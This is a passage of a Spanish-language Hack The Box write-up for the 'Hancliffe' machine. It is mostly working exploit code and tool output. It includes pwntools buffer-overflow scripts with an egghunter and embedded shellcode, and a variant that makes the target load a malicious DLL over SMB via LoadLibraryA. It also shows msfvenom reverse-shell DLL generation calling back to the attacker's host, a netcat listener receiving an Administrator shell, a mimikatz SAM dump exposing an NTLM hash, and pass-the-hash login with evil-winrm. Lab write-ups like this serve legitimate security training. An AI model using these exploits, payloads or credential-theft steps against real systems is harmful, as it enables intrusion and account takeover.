egg = b"w00t" * 2

shellcode =  b""
shellcode += b"\xbf\x1c\x81\x88\x34\xda\xd6\xd9\x74\x24\xf4"
shellcode += b"\x5d\x29\xc9\xb1\x31\x31\x7d\x13\x83\xed\xfc"
shellcode += b"\x03\x7d\x13\x63\x7d\xc8\xc3\xe1\x7e\x31\x13"
shellcode += b"\x86\xf7\xd4\x22\x86\x6c\x9c\x14\x36\xe6\xf0"
shellcode += b"\x98\xbd\xaa\xe0\x2b\xb3\x62\x06\x9c\x7e\x55"
shellcode += b"\x29\x1d\xd2\xa5\x28\x9d\x29\xfa\x8a\x9c\xe1"
shellcode += b"\x0f\xca\xd9\x1c\xfd\x9e\xb2\x6b\x50\x0f\xb7"
shellcode += b"\x26\x69\xa4\x8b\xa7\xe9\x59\x5b\xc9\xd8\xcf"
shellcode += b"\xd0\x90\xfa\xee\x35\xa9\xb2\xe8\x5a\x94\x0d"
shellcode += b"\x82\xa8\x62\x8c\x42\xe1\x8b\x23\xab\xce\x79"
shellcode += b"\x3d\xeb\xe8\x61\x48\x05\x0b\x1f\x4b\xd2\x76"
shellcode += b"\xfb\xde\xc1\xd0\x88\x79\x2e\xe1\x5d\x1f\xa5"
shellcode += b"\xed\x2a\x6b\xe1\xf1\xad\xb8\x99\x0d\x25\x3f"
shellcode += b"\x4e\x84\x7d\x64\x4a\xcd\x26\x05\xcb\xab\x89"
shellcode += b"\x3a\x0b\x14\x75\x9f\x47\xb8\x62\x92\x05\xd6"
shellcode += b"\x75\x20\x30\x94\x76\x3a\x3b\x88\x1e\x0b\xb0"
shellcode += b"\x47\x58\x94\x13\x2c\x96\xde\x3e\x04\x3f\x87"
shellcode += b"\xaa\x15\x22\x38\x01\x59\x5b\xbb\xa0\x21\x98"
shellcode += b"\xa3\xc0\x24\xe4\x63\x38\x54\x75\x06\x3e\xcb"
shellcode += b"\x76\x03\x5d\x8a\xe4\xcf\x8c\x29\x8d\x6a\xd1"

payload  = b""
payload += subesp + egghunter + junk + jmpeax
payload += b"A" * 4
payload += egg + shellcode

shell = remote("192.168.100.5", sys.argv[1])

shell.sendlineafter(b"Username: ", b"alfiansyah")
shell.sendlineafter(b"Password: ", b"K3r4j@@nM4j@pAh!T")
shell.sendlineafter(b"FullName: ", b"Vickry Alfiansyah")
shell.sendlineafter(b"Input Your Code: ", payload)

Este script tambien constara de 2 etapas, cuando el egg y el shellcode esten en algun lugar de la memoria ejecutara el egghunter que nos buscara el egg que es la cadena w00tw00t y ejecutara todo lo que esta despues osea el shellcode

#!/usr/bin/python3
from pwn import remote, p32, asm

subesp = asm("sub esp, 0x64")

egghunter  = b""
egghunter += b"\x42\x33\xd2\x66\x81\xca\xff\x0f\x33\xdb\x42\x53\x53\x52\x53\x53\x53"  
egghunter += b"\x6a\x29\x58\xb3\xc0\x64\xff\x13\x83\xc4\x0c\x5a\x83\xc4\x08\x3c\x05"  
egghunter += b"\x74\xdf\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xda\xaf\x75\xd7\xff\xe7"  

offset = 66
junk = b"A" * (offset - len(subesp + egghunter))

jmpeax = p32(0x719023b3)

egg = b"w00t" * 2

shellcode =  b""
shellcode += b"\xb8\x7d\xe5\x1d\x63\xdb\xcf\xd9\x74\x24\xf4"
shellcode += b"\x5e\x29\xc9\xb1\x52\x31\x46\x12\x03\x46\x12"
shellcode += b"\x83\x93\x19\xff\x96\x97\x0a\x82\x59\x67\xcb"
shellcode += b"\xe3\xd0\x82\xfa\x23\x86\xc7\xad\x93\xcc\x85"
shellcode += b"\x41\x5f\x80\x3d\xd1\x2d\x0d\x32\x52\x9b\x6b"
shellcode += b"\x7d\x63\xb0\x48\x1c\xe7\xcb\x9c\xfe\xd6\x03"
shellcode += b"\xd1\xff\x1f\x79\x18\xad\xc8\xf5\x8f\x41\x7c"
shellcode += b"\x43\x0c\xea\xce\x45\x14\x0f\x86\x64\x35\x9e"
shellcode += b"\x9c\x3e\x95\x21\x70\x4b\x9c\x39\x95\x76\x56"
shellcode += b"\xb2\x6d\x0c\x69\x12\xbc\xed\xc6\x5b\x70\x1c"
shellcode += b"\x16\x9c\xb7\xff\x6d\xd4\xcb\x82\x75\x23\xb1"
shellcode += b"\x58\xf3\xb7\x11\x2a\xa3\x13\xa3\xff\x32\xd0"
shellcode += b"\xaf\xb4\x31\xbe\xb3\x4b\x95\xb5\xc8\xc0\x18"
shellcode += b"\x19\x59\x92\x3e\xbd\x01\x40\x5e\xe4\xef\x27"
shellcode += b"\x5f\xf6\x4f\x97\xc5\x7d\x7d\xcc\x77\xdc\xea"
shellcode += b"\x21\xba\xde\xea\x2d\xcd\xad\xd8\xf2\x65\x39"
shellcode += b"\x51\x7a\xa0\xbe\x96\x51\x14\x50\x69\x5a\x65"
shellcode += b"\x79\xae\x0e\x35\x11\x07\x2f\xde\xe1\xa8\xfa"
shellcode += b"\x71\xb1\x06\x55\x32\x61\xe7\x05\xda\x6b\xe8"
shellcode += b"\x7a\xfa\x94\x22\x13\x91\x6f\xa5\x16\x6c\x61"
shellcode += b"\x39\x4f\x72\x7d\x40\x34\xfb\x9b\x28\x5a\xaa"
shellcode += b"\x34\xc5\xc3\xf7\xce\x74\x0b\x22\xab\xb7\x87"
shellcode += b"\xc1\x4c\x79\x60\xaf\x5e\xee\x80\xfa\x3c\xb9"
shellcode += b"\x9f\xd0\x28\x25\x0d\xbf\xa8\x20\x2e\x68\xff"
shellcode += b"\x65\x80\x61\x95\x9b\xbb\xdb\x8b\x61\x5d\x23"
shellcode += b"\x0f\xbe\x9e\xaa\x8e\x33\x9a\x88\x80\x8d\x23"
shellcode += b"\x95\xf4\x41\x72\x43\xa2\x27\x2c\x25\x1c\xfe"
shellcode += b"\x83\xef\xc8\x87\xef\x2f\x8e\x87\x25\xc6\x6e"
shellcode += b"\x39\x90\x9f\x91\xf6\x74\x28\xea\xea\xe4\xd7"
shellcode += b"\x21\xaf\x05\x3a\xe3\xda\xad\xe3\x66\x67\xb0"
shellcode += b"\x13\x5d\xa4\xcd\x97\x57\x55\x2a\x87\x12\x50"
shellcode += b"\x76\x0f\xcf\x28\xe7\xfa\xef\x9f\x08\x2f"

payload  = b""
payload += subesp + egghunter + junk + jmpeax
payload += b"A" * 4
payload += egg + shellcode

shell = remote("10.10.11.115", 9999)

shell.sendlineafter(b"Username: ", b"alfiansyah")
shell.sendlineafter(b"Password: ", b"K3r4j@@nM4j@pAh!T")
shell.sendlineafter(b"FullName: ", b"Vickry Alfiansyah")
shell.sendlineafter(b"Input Your Code: ", payload)

Enviamos el exploit a la maquina que corre el servicio en el puerto 9999 y recibimos una shell como Administrator donde podemos leer la ultima flag de root

❯ python3 exploit.py
[+] Opening connection to 10.10.11.115 on port 9999: Done
[*] Closed connection to 10.10.11.115 port 9999

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.115
Microsoft Windows [Version 10.0.19043.1266]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
hancliffe\administrator

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
7cc**************************564

C:\Windows\system32>


Buffer Overflow - LoadLibraryA


La siguiente forma de explotarlo involucra la función LoadLibraryA, esta permite cargar librerias por lo que podriamos simplemente cargar un archivo .dll malicioso

0:000> !py mona getiat -m myfirstapp.exe -s loadlibrary
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py getiat -m myfirstapp.exe -s loadlibrary

---------- Mona command started on 2024-07-24 21:21:57 (v2.0, rev 636) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Only querying modules myfirstapp.exe
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Querying 1 modules
[+] Preparing output file 'iatsearch.txt'
    - (Re)setting logfile C:\mona\iatsearch.txt
    Getting IAT for MyFirstApp.exe.
    Enumerating IAT
0x719081c8 | At 0x719081c8 in myfirstapp (base + 0x000081c8) : 0x778c0ed0 (ptr to KERNEL32.loadlibrarya)  - [KERNEL32] ASLR: True, Rebase: True, SafeSEH: False, CFG: True, OS: True, v10.0.22621.3672, 0x4140  

1 entries found

La función LoadLibraryA es bastante simple, solo recibe como parametro el nombre de la libreria, por lo que si la controlamos podemos cargar un .dll malicioso

HMODULE LoadLibraryA(
  [in] LPCSTR lpLibFileName
);

Como no tenemos suficiente espacio en el stack para toda la string la empujaremos con push, iniciamos definiendo la string, dandole la vuelta y pasandola a hexadecimal

smb = b"\\\\192.168.233.129\\user\\shell.dll"[::-1].hex()  

Para evitar solaparnos cuando empujemos datos al stack restaremos al puntero esp 0x64 bytes, luego con un xor hacemos que ebx valga 0 y lo empujamos al stack, esto ya que un null byte o 0x00 servirá para indicar que ahi termina la string

dll  = b""
dll += asm("sub esp, 0x64")  
dll += asm("xor ebx, ebx")
dll += asm("push ebx")

Ya con un null terminator al final podemos empujar toda la string con la ruta smb al .dll malicioso al stack mediante un bucle for de 4 en 4 bytes

for i in range(0, len(smb), 8):
     dll += asm("push 0x" + smb[i:8+i])

Al finalizar el bucle la string deberia estar en esp, sin embargo necesitamos un puntero a esp por lo que con push empujamos el puntero al stack, para finalizar simplemente llamamos al desreferenciado de la función LoadLibraryA para cargarla

dll += asm("push esp")
dll += asm("call [0x719081c8]")  

Nuestro exploit es bastante simple, empuja de 4 bytes en 4 bytes que es el tamaño de un dword toda la string y toma el puntero a esa ruta para llamar a LoadLibraryA

#!/usr/bin/python3
from pwn import remote, log, sys, p32, asm

if len(sys.argv) < 2:
    log.failure(f"Usage: python3 {sys.argv[0]} <port>")
    sys.exit(1)

smb = b"\\\\192.168.233.129\\user\\shell.dll"[::-1].hex()  

dll  = b""
dll += asm("sub esp, 0x64")
dll += asm("xor ebx, ebx")
dll += asm("push ebx")

for i in range(0, len(smb), 8):
     dll += asm("push 0x" + smb[i:8+i])

dll += asm("push esp")
dll += asm("call [0x719081c8]")

offset = 66
junk = b"A" * (offset - len(dll))

jmpeax = p32(0x719023b3)

payload = dll + junk + jmpeax

shell = remote("192.168.100.5", sys.argv[1])

shell.sendlineafter(b"Username: ", b"alfiansyah")
shell.sendlineafter(b"Password: ", b"K3r4j@@nM4j@pAh!T")
shell.sendlineafter(b"FullName: ", b"Vickry Alfiansyah")
shell.sendlineafter(b"Input Your Code: ", payload)

Para probar en local creamos con msfvenom un dll que al cargarse ejecute una calculadora, luego lo compartimos en un recurso usando smbserver

❯ msfvenom -p windows/exec CMD=calc.exe -f dll -o shell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload  
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 193 bytes
Final size of dll file: 9216 bytes
Saved as: shell.dll

❯ impacket-smbserver user . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Podemos ver como se comporta en el debugger, al terminar los push de la string la ruta smb se encuentra en el stack y al empujar esp ahora en el stack se encuentra el puntero a esa string y ese será el argumento a la funcion LoadLibraryA, si solo continuamos con la ejecución se carga la libreria maliciosa y se abre la calculadora

0:000> bp 0x719023b3

0:000> g
Breakpoint 0 hit
eax=0127fed6 ebx=00000138 ecx=00e73da0 edx=000a7190 esi=71901a3d edi=71901a3d  
eip=719023b3 esp=0127ff1c ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
MyFirstApp+0x23b3:
719023b3 ffe0            jmp     eax {0127fed6}

0:000> u eax Ld
0127fed6 83ec64          sub     esp,64h
0127fed9 31db            xor     ebx,ebx
0127fedb 53              push    ebx
0127fedc 682e646c6c      push    6C6C642Eh
0127fee1 6868656c6c      push    6C6C6568h
0127fee6 6865725c73      push    735C7265h
0127feeb 68395c7573      push    73755C39h
0127fef0 68332e3132      push    32312E33h
0127fef5 68382e3233      push    33322E38h
0127fefa 68322e3136      push    36312E32h
0127feff 685c5c3139      push    39315C5Ch
0127ff04 54              push    esp
0127ff05 ff15c8819071    call    dword ptr [MyFirstApp+0x81c8 (719081c8)]

0:000> g 0x0127ff04
eax=0127fed6 ebx=00000000 ecx=00e73da0 edx=000a7190 esi=71901a3d edi=71901a3d
eip=0127ff04 esp=0127fe94 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
0127ff04 54              push    esp

0:000> da esp
0127fe94  "\\192.168.233.129\user\shell.dll"

0:000> p
eax=0127fed6 ebx=00000000 ecx=00e73da0 edx=000a7190 esi=71901a3d edi=71901a3d
eip=0127ff05 esp=0127fe90 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
0127ff05 ff15c8819071    call    dword ptr [MyFirstApp+0x81c8 (719081c8)] ds:002b:719081c8={KERNEL32!LoadLibraryAStub (778c0ed0)}  

0:000> da poi(esp)
0127fe94  "\\192.168.233.129\user\shell.dll"

Ahora que funciona simplemente creamos un nuevo .dll pero en lugar de una calculadora envia una revshell a nuestro equipo, en el exploit simplemente modificamos la ruta y la dirección ip a la máquina victima por el puerto 9999

❯ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f dll -o shell.dll  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 1786 bytes
Final size of dll file: 9216 bytes
Saved as: shell.dll

❯ impacket-smbserver user . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

#!/usr/bin/python3
from pwn import remote, p32, asm

smb = b"\\\\10.10.10.10\\user\\shell.dll"[::-1].hex()  

dll  = b""
dll += asm("sub esp, 0x64")
dll += asm("xor ebx, ebx")
dll += asm("push ebx")

for i in range(0, len(smb), 8):
     dll += asm("push 0x" + smb[i:8+i])

dll += asm("push esp")
dll += asm("call [0x719081c8]")

offset = 66
junk = b"A" * (offset - len(dll))

jmpeax = p32(0x719023b3)

payload = dll + junk + jmpeax

shell = remote("10.10.11.115", 9999)

shell.sendlineafter(b"Username: ", b"alfiansyah")
shell.sendlineafter(b"Password: ", b"K3r4j@@nM4j@pAh!T")
shell.sendlineafter(b"FullName: ", b"Vickry Alfiansyah")
shell.sendlineafter(b"Input Your Code: ", payload)

Enviamos el exploit a la maquina que corre el servicio en el puerto 9999 y recibimos una shell como Administrator donde podemos leer la ultima flag de root

❯ python3 exploit.py
[+] Opening connection to 10.10.11.115 on port 9999: Done
[*] Closed connection to 10.10.11.115 port 9999

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.115
Microsoft Windows [Version 10.0.19043.1266]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
hancliffe\administrator

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
7cc**************************564

C:\Windows\system32>


Extra - Administrator


Para evitar tener que explotar el Buffer Overflow cada que quieramos ganar acceso al equipo podemos dumpear la sam con mimikatz y ver el hash de Administrator

C:\ProgramData>.\mimikatz.exe token::elevate lsadump::sam exit

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # token::elevate
Token Id  : 0
User name : 
SID name  : NT AUTHORITY\SYSTEM

576	{0;000003e7} 1 D 44768     	NT AUTHORITY\SYSTEM	S-1-5-18	(04g,21p)	Primary
 -> Impersonated !
 * Process Token : {0;000594ba} 0 D 3005899   	HANCLIFFE\Administrator	S-1-5-21-3164362660-1422884991-4018309589-500	(14g,25p)	Primary  
 * Thread Token  : {0;000003e7} 1 D 3056951   	NT AUTHORITY\SYSTEM	S-1-5-18	(04g,21p)	Impersonation (Delegation)

mimikatz(commandline) # lsadump::sam
Domain : HANCLIFFE
SysKey : 087e8f3d7b9d641b8cca24afabe7ddbd
Local SID : S-1-5-21-3164362660-1422884991-4018309589

SAMKey : f7e804e09c55219d90ba58d9df1a47be

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 2e5e9a333abf90ec9673220eb3befb83

mimikatz(commandline) # exit
Bye!

C:\ProgramData>

Aprovechando el proxy que creamos antes podemos conectarnos por winrm haciendo un passthehash y obtenemos una powershell mucho mas interactiva

❯ proxychains -q evil-winrm -i 10.10.11.115 -u Administrator -H 2e5e9a333abf90ec9673220eb3befb83  
PS C:\Users\Administrator\Documents> whoami
hancliffe\administrator
PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
7cc**************************564
PS C:\Users\Administrator\Documents>